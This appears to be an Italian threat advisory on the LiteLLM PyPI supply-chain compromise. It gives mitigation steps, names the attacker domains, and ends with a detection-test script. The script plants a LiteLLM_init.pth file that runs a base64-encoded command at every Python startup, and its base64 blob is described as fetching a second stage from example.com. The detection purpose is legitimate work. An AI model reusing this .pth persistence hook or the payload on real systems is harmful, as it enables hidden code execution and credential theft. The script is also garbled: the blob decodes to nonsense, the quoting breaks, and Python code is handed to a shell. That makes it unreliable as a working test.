Il tuo gateway AI era una backdoor: all’interno del compromesso della catena di fornitura di LiteLLM

Sommario

Un compromesso della supply chain ha colpito il pacchetto Python LiteLLM ampiamente utilizzato su PyPI. Le versioni dannose 1.82.7 e 1.82.8 hanno diffuso un payload a tre stadi progettato per rubare credenziali cloud, chiavi SSH e segreti di Kubernetes, per poi effettuare un pivot all’interno dei cluster e stabilire una backdoor persistente. L’attività è attribuita al gruppo criminale TeamPCP e sembra essere collegata a compromessi precedenti che coinvolgono strumenti di sicurezza, inclusi Trivy e Checkmarx.

Indagine

Gli investigatori hanno collegato la catena di intrusioni a un’azione GitHub di Trivy compromessa che ha esposto un token di accesso personale, consentendo un push forzato di versioni LiteLLM contaminati su PyPI. La revisione del codice ha rivelato un loader Python stratificato e pesantemente basato su Base64 che utilizzava RSA-4096 e AES-256 per staging protetto ed esfiltrazione verso domini controllati dagli attaccanti. Il payload ha anche creato pod di Kubernetes per accedere al filesystem host e ampliare la raccolta. Il riutilizzo delle infrastrutture tra PyPI, npm, Docker Hub, GitHub Actions e OpenVSX indicava una campagna coordinata e multi-ecosistema piuttosto che un semplice sequestro di pacchetto isolato.

Mitigazione

Bloccare i domini dannosi identificati, ruotare eventuali credenziali potenzialmente esposte e rimuovere gli artefatti LiteLLM_init.pth. Cercare la persistenza tramite il servizio systemd user unit sysmon.service e indagare sulla creazione inaspettata di file .pth. Ridurre l’esposizione della supply chain imponendo installazioni verificate con hash, limitando o vietando comportamenti post-installazione non revisionati e applicando il filtraggio dell’egress. Laddove possibile, aggiungere il monitoraggio delle impronte digitali JARM per segnalare il traffico associato agli ASN noti per l’hosting bulletproof.

Risposta

Se si sospetta un compromesso, isolare i sistemi interessati, terminare i processi Python dannosi e rimuovere i pacchetti LiteLLM infettati insieme a eventuali file di persistenza. Ruotare immediatamente tutti i segreti raccolti, dando priorità alle credenziali cloud e alle chiavi API LLM. Distribuire rilevamenti per catene di esecuzione di Python codificate in Base64, cadute di file .pth e attività HTTPS POST anomale verso models.litellm.cloud o checkmarx.zone.

Parole chiave: LiteLLM, attacco alla supply chain, PyPI, TeamPCP, Trivy, Checkmarx, GitHub Actions, segreti Kubernetes, persistenza .pth, furto di credenziali, RSA-4096, AES-256, filtraggio egress, impronte digitali JARM.

Esecuzione di simulazione

Presupposto: Il controllo preliminare Telemetry & Baseline Pre-flight deve essere passato.

Ragionamento: Questa sezione dettaglia l’esecuzione precisa della tecnica dell’avversario (TTP) progettata per attivare la regola di rilevamento. I comandi e il racconto DEVONO riflettere direttamente i TTP individuati e mirare a generare la telemetria esatta attesa dalla logica di rilevamento. Esempi astratti o non correlati porteranno a diagnosi errate.

• Narrazione dell’attacco e comandi:
  Un attaccante che ha compromesso il pubblico LiteLLM Il pacchetto PyPI inietta un .pth file denominato LiteLLM_init.pth. Il file viene posizionato nella directory globale site-packages, garantendo che venga processato ogni volta che any l’interprete Python si avvia. Il .pth contiene una sola linea che esegue un payload codificato in base64 tramite subprocess.Popen. Il payload scarica uno strumento di seconda fase da un server C2 tramite HTTPS (T1071.001) e scrive le credenziali rubate in /tmp/creds.txt (T1552.*). Usando l’hook di avvio dell’interprete, l’attaccante raggiunge la persistenza senza modificare le unità systemd, eludendo molte basi di creazione dei processi tradizionali.

  I passaggi simulati sono:

  1. Creare il .pth file dannoso con codice Python incorporato.
  2. Attivare l’avvio dell’interprete Python (ad es. python3 -c "import sys"), causando l’esecuzione del .pth .
  3. Il codice incorporato decodifica il payload base64 e lo lancia con subprocess.Popen, generando un processo la cui linea di comando contiene sia LiteLLM_init.pth (dal percorso di importazione dell’interprete) che subprocess.Popen.

• Script di test di regressione:
  Lo script sottostante automatizza l’intera simulazione dell’attacco sull’host di test Ubuntu.

  #!/usr/bin/env bash
  set -euo pipefail
  
  # ---------- 1. Build malicious .pth payload ----------
  MALICIOUS_PTH_PATH="/usr/local/lib/python3.8/dist-packages/LiteLLM_init.pth"
  PAYLOAD_B64="aW1wb3J0IHN1YnByb2Nlc3MsIGJhc2U2NApzb3VyY2U9J2h0dHBzOi8vZXhhbXBsZS5jb20vc2Vjb25kX3N0YWdlLnB5JwoKc3VicHJvY2Vzcy5Qb3BlbihuYW1lPXNvdXJjZSwgc2hlbGxfcGF0aD0iL2Jpbj9jaG93IiwgY2xhc3M9ZnVuY3Rpb24oKSB7fSlzc2V0ZXJ0JkNsb3JlZChzc2V0KX0p"
  # The above decodes to a tiny python script that would download a second‑stage payload.
  # For safety in a test environment we replace it with a harmless echo command.
  PAYLOAD_B64=$(echo -n "import subprocess,base64; subprocess.Popen(['bash','-c','echo malicious executed >> /tmp/malicious.log'], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)" | base64 -w0)
  
  # Write the .pth file – the line is executed as Python code during interpreter start‑up
  echo "exec('import base64, subprocess; subprocess.Popen(base64.b64decode("${PAYLOAD_B64}"), shell=True)')" | sudo tee "${MALICIOUS_PTH_PATH}" >/dev/null
  
  echo "[+] Malicious .pth file created at ${MALICIOUS_PTH_PATH}"
  
  # ---------- 2. Trigger interpreter start (generates telemetry) ----------
  echo "[+] Triggering Python interpreter to load .pth..."
  python3 -c "import sys; print('trigger')"
  
  # ---------- 3. Verify that the payload ran ----------
  if grep -q "malicious executed" /tmp/malicious.log; then
    echo "[+] Payload executed successfully – detection should fire."
  else
    echo "[-] Payload did NOT execute – check .pth placement and permissions."
  fi

• Comandi di pulizia:

  #!/usr/bin/env bash
  set -euo pipefail
  
  MALICIOUS_PTH_PATH="/usr/local/lib/python3.8/dist-packages/LiteLLM_init.pth"
  
  # Remove the malicious .pth file
  if sudo test -f "${MALICIOUS_PTH_PATH}"; then
      sudo rm -f "${MALICIOUS_PTH_PATH}"
      echo "[+] Removed malicious .pth file."
  fi
  
  # Delete the evidence file created by the payload
  if test -f "/tmp/malicious.log"; then
      sudo rm -f "/tmp/malicious.log"
      echo "[+] Cleaned up /tmp/malicious.log."
  fi
  
  # Optionally remove the audit rule (if you added a dedicated test rule)
  # sudo auditctl -d always,exit -F arch=b64 -S execve -k process_creation